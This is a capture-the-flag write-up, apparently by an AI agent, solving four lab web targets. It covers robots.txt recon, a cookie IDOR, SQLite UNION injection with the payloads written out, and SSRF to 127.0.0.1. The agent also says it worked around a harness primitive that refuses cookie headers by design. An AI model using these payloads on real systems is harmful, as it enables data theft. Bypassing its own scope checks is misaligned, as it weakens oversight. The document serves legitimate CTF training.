Tactical LogHuntress CTF 2026 // team archive

Days / Day 24 / Web Exploitation / Fetch Quest

DAY 24//LANE: WEB EXPLOITATION//STATUS: CORRECT x3

Fetch Quest

Web Exploitation SSTTMM Modes reported CORRECT in this write-up

Day 24 - Fetch Quest (web-exploitation)

Lane: web-exploitation Challenge id: web-exploitation-day-15-fetch-quest Agent: agent-7 Date solved: 2026-10-24

Modes: Single Solve, Time Trial, Mastery - all CORRECT.

Flags (GM-accepted)

  • Single Solve: Proofproof_06d6fc5eaa4145b49168905928a249a9
  • Time Trial: Token41746d57287daf77a149aa6dff8d808f (ranked, Hall-of-Fame eligible)
  • Mastery: Token4ef696f9f521f9ebcdbca108e0560023

Prompt (verbatim)

The server will fetch anything you point it at - including places you can't reach yourself. Send it on a quest to the internal service and collect what it brings back.

Shape

  • Single Solve: 1 live target with proof-1.
  • Time Trial: 1 live target, proof-1, server-enforced countdown.
  • Mastery: 4 live targets proof-1 .. proof-4, each a different web vulnerability under one timer.

Each start returns a targets[] array (per-mode fresh URLs) and a routes[] array hinting the "internal" paths that only the server can reach for its own target.

Solve path (per Mastery variant - most general shape)

Mastery is the real test: each of the 4 targets is a different web vuln bundled under the SSRF "Fetch Quest" theme. The Single and Time Trial variants are the same 4 archetypes, drawn in isolation.

Target 1 - "Service Postcard" (Node.js, exposed deploy archive)

  • GET /robots.txt -> Disallow: /snapshots-<hex>/
  • GET /snapshots-<hex>/ lists deployment-notes-<hex>.json.bak.
  • GET /snapshots-<hex>/deployment-notes-<hex>.json.bak returns {"environment":"production","support_note":"proof_HEX"}.

The banked robots_recon technique in autosolve_web.py already walks Disallow directories and visits every linked file, so Target 1 is solved automatically.

  • GET / sets Set-Cookie: case_session=<hex>; HttpOnly; SameSite=Lax - the browser auto-logs you in as "Morgan".
  • Morgan's own cases (3186 / 4727 / 5554) are visible, but /api/history reveals {"case_id": 11387, "owner":"executive", "visibility":"reference_only"}.
  • GET /api/incidents/11387 with the issued cookie -> {"note": "...proof_HEX..."}.

The banked solver's HTTP primitive (web_scope.registered_get) refuses cookie headers, so this had to be driven by a tiny per-target cookie-jar helper (see scripts/t2_cookie.py).

Target 3 - "Query Me This" (Flask, SQL injection on ?q)

  • /lookup?q=persistence returns 1 record; ?q=%25 returns 3 (SQL LIKE wildcard).
  • Classic SQLi probe ?q= + ' OR 1=1-- returned nothing: looks parameterised.
  • The giveaway: ?q= + '||' ALSO returned all 3 - SQLite string concat || closed the raw single-quote in a non-parameterised f"...WHERE pill LIKE '%{q}%' OR title LIKE '%{q}%' OR body LIKE '%{q}%'".
  • Confirmed with 4-column UNION probe: ?q=') UNION SELECT 1,2,3,4-- returned pill=3, title=2, body=4, meta=Record 1 -> the live query is wrapped in parentheses (WHERE (pill LIKE '%?%' OR title LIKE '%?%' OR body LIKE '%?%')) and has 4 selected cols.
  • Schema dump: ?q=') UNION SELECT 1, name, type, sql FROM sqlite_master-- reveals one table articles(id INTEGER PRIMARY KEY, title TEXT, topic TEXT, summary TEXT, visibility TEXT).
  • Dump: ?q=') UNION SELECT id, title, topic, summary FROM articles-- returns a hidden row "Restricted detection draft" with summary = proof_HEX.

Target 4 - "URL Valet" (ASP.NET Core Minimal API, textbook SSRF)

  • GET /api/clues -> {"feature_route":"/action-...","secondary_route":"/account-..."}.
  • Direct GET /account-... -> 403 "internal_only".
  • GET /action-...?url=http://127.0.0.1:8080/account-... -> {"evidence":"proof_HEX"}.

What the banked autosolver did and what I had to add

Starting state: AUTOSOLVE single_solve: gate_blocked NO_CAPABILITY. No bank handler existed for the SSRF /api/clues -> /action-X?url= idiom, so the Single Solve had no derivation path.

Added _tech_ssrf_fetch_quest to _TECHNIQUES in challenges/_lib/autosolve_web.py - it reads /api/clues, picks feature_route + secondary_route, and dispatches a per-target SSRF probe against a short list of likely internal hostnames (127.0.0.1:8080, localhost:8080, etc.) via the scope-enforced _http_get. With that in place, autosolve won the Single and the ranked Time Trial on the next run.

Mastery still half-solved: _TECHNIQUES has body_scan / common_paths / robots_recon / lfi_* / proof_recon_ladder / ssrf_fetch_quest, so T1 (robots_recon) and T4 (ssrf_fetch_quest) landed, but T2 (cookie-authenticated IDOR) and T3 (SQLi UNION dump) have no equivalent bank handler yet. I derived proof-2 and proof-3 by hand with the scripts under scripts/ and submitted them into the SAME live Mastery attempt (the first autosolve submit was partial - accepted (2 accepted, 2 remaining) - which left the attempt open).

Files

  • start.json, start_mastery.json - captured target scopes for web_request.py.
  • scripts/probe.py, scripts/probe_all.py, scripts/probe_t.py, scripts/probe_detail.py, scripts/probe_sql.py, scripts/probe_sql2.py - target recon.
  • scripts/t2_cookie.py - IDOR with session cookie (urllib + CookieJar, direct scope).
  • scripts/t3_sqli.py, scripts/t3_sqli2.py, scripts/t3_dump.py, scripts/t3_articles.py - SQLi UNION dump that extracted the hidden article row.
  • ../_lib/autosolve_web.py - added _tech_ssrf_fetch_quest.

Lessons learned / what to automate next time

  1. The web-exploitation Mastery bundles unrelated vuln classes under one SSRF-themed banner. The autosolver's "pick-one battery per target" model is correct, but the battery is missing two universal web techniques:
    • Cookie-first IDOR: capture Set-Cookie from /, replay to /api/... with incrementing numeric ids OR with ids leaked by /api/history-style endpoints.
    • UNION-based SQLi: on any ?q= style search, detect the SQL-concat tell ('||' returns all rows), then probe ') UNION SELECT 1..N-- for the column count, dump sqlite_master, dump the discovered table. Both should be added as new _TECHNIQUES entries - they are generic enough to pay off on any future Flask or ASP.NET CTF web target.
  2. web_scope.registered_get refuses Cookie headers by design. For solvers that need an issued cookie, we need a scope-respecting primitive that pins a per-origin cookie jar from the target's own Set-Cookie. Nothing untrusted is being forwarded cross-origin, so this is a safe extension.
  3. The SQLi tell '||' -> all rows is a 2-char hypothesis test with ZERO cost. Add it to the lane prebrief: if "nothing matched" turns into "everything matched", we know the search is raw string concat with sqlite and can proceed straight to column counting.
  4. autosolve_web.compute() guards the live battery behind HUNTRESS_WEB_LIVE_BATTERY=1. In production (Go.ps1) that is set, but when running by hand I almost missed it; worth adding a one-line banner in autosolve.py saying "web live battery: ON/OFF" before each run so the gate reason is obvious.
  5. The partial-submit path (Mastery accepting 2/4 and leaving the attempt open) saved a variant: when AUTOSOLVE says "accepted (N accepted, M remaining)", DO NOT retry/restart - submit the remaining proof-k ids by hand onto the SAME attempt_id.